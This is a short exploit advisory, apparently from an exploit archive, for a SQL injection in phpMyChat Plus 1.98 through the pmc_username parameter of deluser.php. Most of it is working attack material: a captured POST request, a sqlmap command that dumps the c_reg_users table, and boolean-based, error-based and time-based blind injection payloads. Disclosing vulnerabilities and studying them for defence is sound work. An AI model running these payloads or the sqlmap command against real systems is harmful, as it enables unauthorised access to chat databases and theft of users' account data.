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phpMyChat Plus 1.98 SQL Injection

phpMyChat Plus 1.98 SQL Injection
Posted Feb 14, 2020
Authored by J3rryBl4nks

phpMyChat Plus version 1.98 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | 9213f3b689c839421d7a82a9fae9f8ba

phpMyChat Plus 1.98 SQL Injection

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# Title: phpMyChat Plus 1.98 - 'pmc_username' SQL Injection
# Date: 2020-02-13
# Exploit Author: J3rryBl4nks
# Vendor Homepage: http://ciprianmp.com/latest/
# Software Link: https://sourceforge.net/projects/phpmychat/files/phpMyChat_Plus/
# Version MyChat Plus 1.98
# Tested on Windows 10/Kali Rolling

# The phpMyChat Plus 1.98 application is vulnerable to Sql Injection
# (Boolean based blind, Error-based, time-based blind) on the deluser.php page
# through the pmc_user parameter.

# POC code:
# Capture the request through Burpsuite:

POST /plus/deluser.php HTTP/1.1
Host: HOSTNAME
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://HOSTNAME/plus/deluser.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
Connection: close
Cookie: CookieLang=english; temp=temp; CookieUsername=testing; CookieRoom=Public%2BRoom%2B1; CookieRoomType=1; CookieStatus=r; PHPSESSID=0srffkdt9nu2jis443pp9nh3i9
Upgrade-Insecure-Requests: 1

L=english&Link=&LIMIT=0&pmc_username=test&pmc_password=test&login_form=Log+In


# Then use sqlmap to get the user tables:

sqlmap -r deleteuserlogin.req --level=5 --risk=3 --dbms=mysql --tamper=unmagicquotes -D DBNAME --dump -T c_reg_users -p pmc_username

Parameter: pmc_username (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: L=english&Link=&LIMIT=0&pmc_username=test' AND 9736=(SELECT (CASE WHEN (9736=9736) THEN 9736 ELSE (SELECT 2847 UNION SELECT 9983) END))-- qEHq&pmc_password=test&login_form=Log In

Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: L=english&Link=&LIMIT=0&pmc_username=test' OR (SELECT 7708 FROM(SELECT COUNT(*),CONCAT(0x7170627a71,(SELECT (ELT(7708=7708,1))),0x7162627a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ShDx&pmc_password=test&login_form=Log In

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: L=english&Link=&LIMIT=0&pmc_username=test' AND (SELECT 5588 FROM (SELECT(SLEEP(5)))wWnk)-- FHPh&pmc_password=test&login_form=Log In
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